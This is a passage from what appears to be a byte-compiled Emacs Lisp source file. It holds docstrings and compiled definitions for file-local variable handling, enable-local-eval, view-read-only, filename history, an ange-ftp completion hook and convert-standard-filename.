variable values are safe; if any values are not safe, Emacs queries you, once, whether to set them all. (When you say yes to certain values, they are remembered as safe.) :safe means set the safe variables, and ignore the rest. :all means set all variables, whether safe or not. (Don't set it permanently to :all.) A value of nil means always ignore the file local variables. Any other value means always query you once whether to set them all. (When you say yes to certain values, they are remembered as safe, but this has no effect when `enable-local-variables' is "something else".) This variable also controls use of major modes specified in a -*- line. The command \[normal-mode], when used interactively, always obeys file local variable specifications and the -*- line, and ignores this variable. (custom-declare-variable 'enable-local-variables 't '(#$ . 18648) :type '(choice (const :tag "Query Unsafe" t) (const :tag "Safe Only" :safe) (const :tag "Do all" :all) (const :tag "Ignore" nil) (other :tag "Query" other)) :group 'find-file) #@324 Like `enable-local-variables' but meant for buffer-local bindings. The meaningful values are nil and non-nil. The default is non-nil. If a major mode sets this to nil, buffer-locally, then any local variables list in the file will be ignored. This variable does not affect the use of major modes specified in a -*- line. (defvar local-enable-local-variables t (#$ . 19902)) #@220 Control processing of the "variable" `eval' in a file's local variables. The value can be t, nil or something else. A value of t means obey `eval' variables. A value of nil means ignore them; anything else means query. (custom-declare-variable 'enable-local-eval ''maybe '(#$ . 20285) :type '(choice (const :tag "Obey" t) (const :tag "Ignore" nil) (other :tag "Query" other)) :group 'find-file) (byte-code "\300\301!\204 \302\301\303\"\210\300\304!\204 \302\304\303\"\210\300\305!\204! \302\305\303\"\210\300\207" [fboundp lock-buffer defalias ignore unlock-buffer file-locked-p] 3) #@286 Non-nil means buffers visiting files read-only do so in view mode. In fact, this means that all read-only buffers normally have View mode enabled, including buffers that are read-only because you visit a file you cannot alter, and buffers you make read-only using \[toggle-read-only]. (custom-declare-variable 'view-read-only 'nil '(#$ . 20877) :type 'boolean :group 'view) #@150 History list of file names entered in the minibuffer. Maximum length of the history list is determined by the value of `history-length', which see. (defvar file-name-history nil (#$ . 21258)) (put 'ange-ftp-completion-hook-function 'safe-magic t) #@119 Provides support for ange-ftp host name completion. Runs the usual ange-ftp hook, but only for completion operations. (defalias 'ange-ftp-completion-hook-function #[(op &rest args) "\304>\203\f \305\306 #\207\307\n=\205 B\305 \"*\207" [op args inhibit-file-name-operation inhibit-file-name-handlers (file-name-completion file-name-all-completions) apply ange-ftp-hook-function ange-ftp-completion-hook-function] 4 (#$ . 21513)]) #@751 Convert a standard file's name to something suitable for the OS. This means to guarantee valid names and perhaps to canonicalize certain patterns. FILENAME should be an absolute file name since the conversion rules sometimes vary depending on the position in the file name. E.g. c:/foo is a valid DOS file name, but c:/bar/c:/foo is not. This function's standard definition is trivial; it just returns the argument. However, on Windows and DOS, replace invalid characters. On DOS, make sure to obey the 8.3 limitations. In the native Windows build, turn Cygwin names into native names, and also turn slashes into backslashes if the shell requires it (see `w32-shell-dos-semantics'). See Info node `(elisp)Standard File Names' for more details. (defalias 'convert-standard-filename #[(filename) "\304=\203# \305 !\306\307\310\n#\203 \306\224\311I\210\306\225\202\f *\207 \207" [system-type filename start name cygwin copy-sequence 0 string-match "[?*:<>|\"